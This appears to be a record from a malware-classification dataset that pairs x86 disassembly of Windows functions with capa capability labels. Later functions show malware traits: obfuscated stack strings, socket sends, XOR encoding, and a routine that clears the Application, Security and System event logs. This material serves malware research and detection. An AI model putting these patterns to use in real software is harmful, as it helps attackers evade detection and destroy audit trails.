joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10152f30
Capabilities:
Check os version

Disassembly:
sub esp, 0x118
mov eax, dword [0x10204014]
xor eax, esp
mov dword [esp + 0x114], eax
push esi
mov esi, ecx
mov dword [esp + 4], 0x114
push 0x110
lea eax, [esp + 0xc]
push 0
push eax
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov byte [esi], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
mov eax, esi
je 0x10152fc7
cmp dword [esp + 8], 6
jb 0x10152fc7
mov byte [esi], 1
mov ecx, dword [esp + 0x118]
pop esi
xor ecx, esp
call fcn.1016e794
add esp, 0x118
ret

Function at 0x10152fe0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019c7e0
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push ebx
push esi
push edi
mov eax, dword [0x10204014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0xc
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x28]
push str.wintrust.dll
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.10007fb0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push eax
call fcn.101462d0
mov ecx, eax
call fcn.10146390
mov ebx, eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10007f50
push 0xb
xor eax, eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x40]
push str.crypt32.dll
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.10007fb0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x40]
push eax
call fcn.101462d0
mov ecx, eax
call fcn.10146390
mov esi, eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.10007f50
test ebx, ebx
je 0x1015313d
test esi, esi
je 0x1015313d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CryptCATAdminCalcHashFromFileHandle
push ebx
call esi
push str.CryptCATAdminAcquireContext
push ebx
mov dword [edi + 4], eax
call esi
push str.CryptCATAdminEnumCatalogFromHash
push ebx
mov dword [edi + 8], eax
call esi
push str.CryptCATCatalogInfoFromContext
push ebx
mov dword [edi + 0xc], eax
call esi
push str.CryptCATAdminReleaseCatalogContext
push ebx
mov dword [edi + 0x10], eax
call esi
push str.CryptCATAdminReleaseContext
push ebx
mov dword [edi + 0x14], eax
call esi
push str.WTHelperProvDataFromStateData
push ebx
mov dword [edi + 0x18], eax
call esi
push str.WTHelperGetProvSignerFromChain
push ebx
mov dword [edi + 0x1c], eax
call esi
push str.WinVerifyTrust
push ebx
mov dword [edi + 0x20], eax
call esi
push str.CertNameToStrW
push dword [ebp - 0x10]
mov dword [edi + 0x24], eax
call esi
mov dword [edi + 0x28], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10156ba0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019b51f
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x10204014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, dword [ebp + 8]
mov ecx, edi
push esi
mov dword [ebp - 0x10], edi
call fcn.10007680
mov dword [ebp - 4], 0
lea eax, [esi + 0x18]
push eax
lea ecx, [edi + 0x18]
call fcn.10007680
mov byte [ebp - 4], 1
lea eax, [esi + 0x30]
push eax
lea ecx, [edi + 0x30]
call fcn.10007680
mov byte [ebp - 4], 2
lea eax, [esi + 0x48]
push eax
lea ecx, [edi + 0x48]
call fcn.10007680
mov byte [ebp - 4], 3
lea ecx, [edi + 0x64]
mov al, byte [esi + 0x60]
mov byte [edi + 0x60], al
lea eax, [esi + 0x64]
push eax
call fcn.10007680
mov byte [ebp - 4], 4
lea eax, [esi + 0x7c]
push eax
lea ecx, [edi + 0x7c]
call fcn.10007680
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10158870
Capabilities:
Get file size

Disassembly:
sub esp, 8
mov eax, dword [0x10204014]
xor eax, esp
mov dword [esp + 4], eax
mov eax, dword [ecx]
push esi
push edi
mov edi, dword [esp + 0x14]
cmp eax, 0xffffffff
je 0x101588d5
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x101588b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x101588d5
mov eax, dword [esp + 8]
xor ecx, ecx
add ecx, esi
mov dword [edi], ecx
adc eax, 0
mov dword [edi + 4], eax
mov al, 1
pop edi
pop esi
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.1016e794
add esp, 8
ret 4
mov ecx, dword [esp + 0xc]
xor al, al
pop edi
pop esi
xor ecx, esp
call fcn.1016e794
add esp, 8
ret 4
Function at 0x10158a80
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019d438
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x10204014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov ecx, dword [ebp + 0x14]
mov esi, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
test ecx, ecx
je 0x10158ac9
mov dword [ecx], 0
mov dword [eax], 0
cmp dword [edi], 0xffffffff
je 0x10158c1b
mov eax, dword [ebp + 0xc]
mov ecx, 0x100000
push 0
mov ebx, eax
mov dword [ebp - 0x1c], 0
cmp eax, 0x100000
lea eax, [ebp - 0x1c]
push eax
cmova ebx, ecx
push ebx
push esi
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, 0x7fffbffb
add eax, 0x80004005
cmp dword [edi + 0x1c], 0
je 0x10158be6
test eax, eax
je 0x10158be6
mov edx, dword [ebp - 0x1c]
cmp edx, ebx
jae 0x10158be9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [edi]
mov dword [ebp - 0x24], eax
cmp ecx, 0xffffffff
je 0x10158b6b
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10158b5f
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10158b6b
mov eax, dword [ebp - 0x14]
xor ecx, ecx
add ecx, esi
adc eax, 0
jmp 0x10158b79
xorps xmm0, xmm0
movlpd qword [ebp - 0x38], xmm0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
push 0
push dword [ebp - 0x24]
push eax
push ecx
sub esp, 0x18
lea eax, [edi + 4]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.10007680
mov dword [ebp - 4], 0
mov ecx, dword [edi + 0x1c]
mov eax, dword [ecx]
mov dword [ebp - 4], 0xffffffff
call dword [eax + 0x18]
mov esi, dword [ebp - 0x20]
test eax, eax
jne 0x10158be6
push eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x1c]
push ebx
add eax, esi
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, eax
xor edx, edx
test ecx, ecx
mov eax, 0x80004005
cmovne eax, edx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
test ecx, ecx
je 0x10158b24
jmp 0x10158be9
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
add dword [ecx], edx
test eax, eax
jne 0x10158c12
test edx, edx
je 0x10158c0e
mov eax, dword [ebp + 0xc]
add esi, edx
sub eax, edx
mov dword [ebp - 0x20], esi
mov dword [ebp + 0xc], eax
mov ecx, 0x100000
jne 0x10158ae0
mov al, 1
jmp 0x10158c1d
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10158c1b
mov dword [ecx], eax
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1016e794
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1015b210
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019d8b0
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x10204014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi]
mov edi, dword [ebp + 8]
test eax, eax
je 0x1015b2f7
cmp byte [eax + 0x54], 0
je 0x1015b2f7
add eax, 0x1c
lea ecx, [ebp - 0x38]
push eax
call fcn.100b49c0
push 0
mov edx, edi
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.10133e20
add esp, 4
mov byte [ebp - 4], 1
lea edi, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
mov eax, dword [esi]
cmovae edi, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x1c]
cmp dword [eax + 0x14], 8
jb 0x1015b292
mov eax, dword [eax]
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1015b2dc
push 2
push 0
push 0
push esi
mov dword [ebp - 0x30], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x30]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.10007760
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call fcn.100b4a10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1016e794
mov esp, ebp
pop ebp
ret 4
Function at 0x1016feb0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019f626
mov eax, dword fs:[0]
push eax
sub esp, 0xb8
mov eax, dword [0x10204014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0xa8]
call fcn.10007660
mov dword [ebp - 4], 0
lea eax, [ebp - 0xa8]
push eax
call fcn.10170030
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0x1016ff27
mov byte [ebp - 0xc1], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa8]
call fcn.100075d0
mov al, byte [ebp - 0xc1]
jmp 0x10170013
push 0x102085f0
lea edx, [ebp - 0xa8]
push edx
lea eax, [ebp - 0xc0]
push eax
call fcn.101360c0
add esp, 0xc
mov byte [ebp - 4], 1
push 0x80
push 0
lea ecx, [ebp - 0x90]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xc0]
call fcn.10007560
push eax
push 0x40
lea edx, [ebp - 0x90]
push edx
push 0x101a74c0
mov ecx, 0x10208668
call fcn.10007560
push eax
mov ecx, 0x10208650
call fcn.10007560
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, 2
imul ecx, eax, 0
movzx edx, word [ebp + ecx - 0x90]
test edx, edx
jne 0x1016ffd6
mov byte [ebp - 0xc2], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xc0]
call fcn.100075d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa8]
call fcn.100075d0
mov al, byte [ebp - 0xc2]
jmp 0x10170013
lea eax, [ebp - 0x90]
push eax
mov ecx, dword [ebp + 8]
call fcn.10007570
mov byte [ebp - 0xc3], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xc0]
call fcn.100075d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa8]
call fcn.100075d0
mov al, byte [ebp - 0xc3]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1016e794
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov al, 0x45
push esi
mov esi, ecx
mov byte [esp + 5], al
mov byte [esp + 8], al
mov al, 0x69
xor ecx, ecx
mov byte [esp + 0x16], al
mov byte [esp + 0x18], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x20], al
mov byte [esp + 0x22], al
mov byte [esp + 0x2a], al
mov dword [esi + 0xc], ecx
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
mov byte [esp + 0x10], cl
mov byte [esp + 0x2d], cl
lea eax, [esp + 0x14]
lea ecx, [esp + 4]
mov dl, 0x6c
push eax
push ecx
mov dword [esi], 0x4112c0
mov byte [esp + 0xc], 0x4b
mov byte [esp + 0xe], 0x52
mov byte [esp + 0xf], 0x4e
mov byte [esp + 0x11], 0x4c
mov byte [esp + 0x12], 0x33
mov byte [esp + 0x13], 0x32
mov byte [esp + 0x14], 0x2e
mov byte [esp + 0x15], 0x64
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], dl
mov byte [esp + 0x1c], 0x49
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], dl
mov byte [esp + 0x24], 0x7a
mov byte [esp + 0x25], 0x65
mov byte [esp + 0x26], 0x43
mov byte [esp + 0x27], 0x72
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2b], 0x63
mov byte [esp + 0x2c], 0x61
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2e], 0x53
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], 0x63
mov byte [esp + 0x31], 0x74
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x6e
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esi + 0x10]
push edx
call eax
mov eax, esi
pop esi
add esp, 0x2c
ret
Function at 0x401280
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x50
push ebx
push ebp
push esi
mov esi, ecx
lea eax, [esp + 0x14]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x20]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x28], 0x4b
mov byte [esp + 0x29], 0x45
mov byte [esp + 0x2a], 0x52
mov byte [esp + 0x2b], 0x4e
mov byte [esp + 0x2c], 0x45
mov byte [esp + 0x2d], 0x4c
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x33], 0x6c
mov byte [esp + 0x34], 0
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x21], 0x6c
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x70
mov byte [esp + 0x25], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov dword [esp + 0x14], eax
lea edx, [esp + 0x30]
lea eax, [esp + 0x20]
push edx
push eax
mov byte [esp + 0x38], 0x45
mov byte [esp + 0x39], 0x6e
mov byte [esp + 0x3a], 0x74
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0x72
mov byte [esp + 0x3d], 0x43
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x3f], 0x69
mov byte [esp + 0x40], 0x74
mov byte [esp + 0x41], 0x69
mov byte [esp + 0x42], 0x63
mov byte [esp + 0x43], 0x61
mov byte [esp + 0x44], 0x6c
mov byte [esp + 0x45], 0x53
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], 0x63
mov byte [esp + 0x48], 0x74
mov byte [esp + 0x49], 0x69
mov byte [esp + 0x4a], 0x6f
mov byte [esp + 0x4b], 0x6e
mov byte [esp + 0x4c], 0
call edi
push eax
call ebp
mov dword [esp + 0x10], eax
mov byte [esp + 0x48], 0x4c
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x61
mov byte [esp + 0x4b], 0x76
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4d], 0x43
mov byte [esp + 0x4e], 0x72
mov byte [esp + 0x4f], 0x69
mov byte [esp + 0x50], 0x74
mov byte [esp + 0x51], 0x69
mov byte [esp + 0x52], 0x63
mov byte [esp + 0x53], 0x61
mov byte [esp + 0x54], 0x6c
mov byte [esp + 0x55], 0x53
mov byte [esp + 0x56], bl
mov byte [esp + 0x57], 0x63
mov byte [esp + 0x58], 0x74
lea ecx, [esp + 0x48]
lea edx, [esp + 0x20]
push ecx
push edx
mov byte [esp + 0x61], 0x69
mov byte [esp + 0x62], 0x6f
mov byte [esp + 0x63], 0x6e
mov byte [esp + 0x64], 0
call edi
push eax
call ebp
lea edi, [esi + 0x10]
mov ebp, eax
push edi
call dword [esp + 0x14]
mov ecx, esi
call fcn.00401690
mov ebx, dword [esp + 0x68]
mov ecx, esi
add eax, ebx
push eax
call fcn.004016a0
cmp eax, 0xffffffff
jne 0x40142f
push 0
call dword [esp + 0x18]
push edi
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x50
ret 8
mov eax, dword [esp + 0x64]
mov ecx, dword [esi + 8]
push ebx
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_memmove]
mov ecx, dword [esi + 8]
add esp, 0xc
add ecx, ebx
push edi
mov dword [esi + 8], ecx
call ebp
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x50
ret 8
Function at 0x401af0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x40
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov al, 0x45
push esi
mov esi, ecx
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov byte [esp + 0x1c], al
lea eax, [esp + 0x1c]
push edi
lea ecx, [esp + 0x10]
mov bl, 0x69
push eax
push ecx
mov byte [esp + 0x18], 0x4b
mov byte [esp + 0x1a], 0x52
mov byte [esp + 0x1b], 0x4e
mov byte [esp + 0x1d], 0x4c
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], 0
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x65
mov byte [esp + 0x2c], 0x72
mov byte [esp + 0x2d], 0x43
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 0x74
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x63
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], 0x6c
mov byte [esp + 0x35], 0x53
mov byte [esp + 0x36], 0x65
mov byte [esp + 0x37], 0x63
mov byte [esp + 0x38], 0x74
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edi, [esi + 0x10]
push edi
call eax
mov edx, dword [esi + 4]
push 0x400
mov ecx, esi
mov dword [esi + 8], edx
call fcn.004018c0
lea eax, [esp + 0x38]
mov byte [esp + 0x38], 0x4c
mov byte [esp + 0x39], 0x65
mov byte [esp + 0x3a], 0x61
mov byte [esp + 0x3b], 0x76
mov byte [esp + 0x3c], 0x65
mov byte [esp + 0x3d], 0x43
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0x74
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x63
mov byte [esp + 0x43], 0x61
mov byte [esp + 0x44], 0x6c
mov byte [esp + 0x45], 0x53
mov byte [esp + 0x46], 0x65
mov byte [esp + 0x47], 0x63
mov byte [esp + 0x48], 0x74
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x6f
mov byte [esp + 0x4b], 0x6e
mov byte [esp + 0x4c], 0
push eax
lea ecx, [esp + 0x14]
push ecx
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x40
ret
Function at 0x4021c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebx, esi
mov ebp, ecx
mov dword [esp + 0x14], 0
jb 0x40222a
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x402209
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x4021e6
cmp dword [esp + 0x1c], 0xf
je 0x402260
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x4021de
test ebx, ebx
jle 0x402254
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x40224b
inc esi
cmp esi, 0xf
jl 0x402230
cmp esi, 0xf
je 0x402260
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x402263
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x402460
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x8c
push ebx
push ebp
mov edx, 6
mov ecx, 8
push esi
push edi
mov word [esp + 0x12], dx
mov word [esp + 0x20], cx
mov word [esp + 0x24], dx
mov word [esp + 0x28], cx
mov word [esp + 0x3c], cx
mov word [esp + 0x44], cx
mov word [esp + 0x4e], cx
mov word [esp + 0x52], cx
mov word [esp + 0x5c], cx
mov word [esp + 0x6a], cx
mov word [esp + 0x78], cx
mov esi, 2
mov ebp, 5
mov ebx, 3
mov eax, 7
mov edi, 1
mov edx, 9
mov ecx, 4
mov word [esp + 0x10], si
mov word [esp + 0x14], bp
mov word [esp + 0x16], bx
mov word [esp + 0x18], ax
mov word [esp + 0x1a], si
mov word [esp + 0x1c], 0
mov word [esp + 0x1e], ax
mov word [esp + 0x22], si
mov word [esp + 0x26], di
mov word [esp + 0x2a], dx
mov word [esp + 0x2c], ax
mov word [esp + 0x2e], si
mov word [esp + 0x30], dx
mov word [esp + 0x32], di
mov word [esp + 0x34], 4
mov word [esp + 0x36], 6
mov word [esp + 0x38], dx
mov word [esp + 0x3a], bx
mov word [esp + 0x3e], 4
mov word [esp + 0x40], di
mov word [esp + 0x42], bp
mov word [esp + 0x46], bx
mov word [esp + 0x48], si
mov word [esp + 0x4a], ax
mov word [esp + 0x4c], di
mov word [esp + 0x50], 6
mov word [esp + 0x54], bp
mov word [esp + 0x56], bx
mov word [esp + 0x58], ax
mov word [esp + 0x5a], 0
mov word [esp + 0x5e], ax
mov word [esp + 0x60], 4
mov word [esp + 0x62], dx
mov word [esp + 0x64], si
mov word [esp + 0x66], bx
mov word [esp + 0x68], dx
mov word [esp + 0x6c], 6
mov word [esp + 0x6e], bx
mov word [esp + 0x70], bp
mov word [esp + 0x72], ax
mov word [esp + 0x74], 6
mov word [esp + 0x76], dx
mov word [esp + 0x7a], ax
mov word [esp + 0x7c], si
mov word [esp + 0x7e], 0
mov word [esp + 0x80], ax
mov word [esp + 0x82], di
mov word [esp + 0x84], cx
mov word [esp + 0x86], cx
mov word [esp + 0x88], bp
mov word [esp + 0x8a], dx
mov word [esp + 0x8c], di
mov word [esp + 0x8e], ax
mov word [esp + 0x90], ax
mov word [esp + 0x92], bp
mov word [esp + 0x94], di
mov word [esp + 0x96], dx
mov eax, 0xaaaaaaab
mov word [esp + 0x98], si
mul dword [esp + 0xa4]
xor esi, esi
shr edx, 1
mov eax, esi
je 0x402668
mov edi, dword [esp + 0xa0]
cmp si, 0x45
jne 0x40264e
xor esi, esi
mov bl, byte [eax + edi]
mov ecx, esi
and ecx, 0xffff
mov cl, byte [esp + ecx*2 + 0x10]
xor bl, cl
inc esi
mov byte [eax + edi], bl
inc eax
cmp eax, edx
jb 0x402646
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8c
ret 8
Function at 0x402c10
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
mov dword [esp + 0x10], 0
call esi
mov eax, dword [esp + 0x14]
push 0
push 0
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x402c4e
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
push 0
call esi
push 2
push 0
push 0xfffffc00
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MFC42.DLL_operatornew
add esp, 4
mov ebx, eax
push 0
call esi
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x400
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call esi
mov edx, dword [esp + 0x18]
mov ecx, dword [0x416a08]
push 0
push 0x400
push edx
push ebx
call fcn.00404f90
cmp eax, 0xffffffff
jne 0x402cc5
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
ret
pop edi
add eax, ebx
pop esi
pop ebx
pop ecx
ret

Function at 0x402dd0
Capabilities:
Get common file path

Disassembly:
sub esp, 8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov al, 0x5c
push 0
mov byte [esp + 0xc], al
mov byte [esp + 0xd], 0x54
mov byte [esp + 0xe], 0x65
mov byte [esp + 0xf], 0x6d
mov byte [esp + 0x10], 0x70
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0
call esi
mov ecx, 0x41
xor eax, eax
mov edi, 0x4162d0
push eax
rep stosd dword es:[edi], eax
call esi
push 0x104
push 0x4162d0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
call esi
mov ecx, dword [0x416a08]
lea eax, [esp + 8]
push eax
push 0x4162d0
call fcn.00404ea0
mov ecx, dword [esp + 0x14]
push ecx
mov ecx, dword [0x416a08]
push 0x4162d0
call fcn.00404ea0
pop edi
pop esi
add esp, 8
ret

Function at 0x402e60
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0x5ab
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
add dl, 0x3d
test esi, esi
jbe 0x402e8d
mov eax, dword [esp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x402e81
pop esi
ret

Function at 0x403690
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x4036e0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x4036c7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret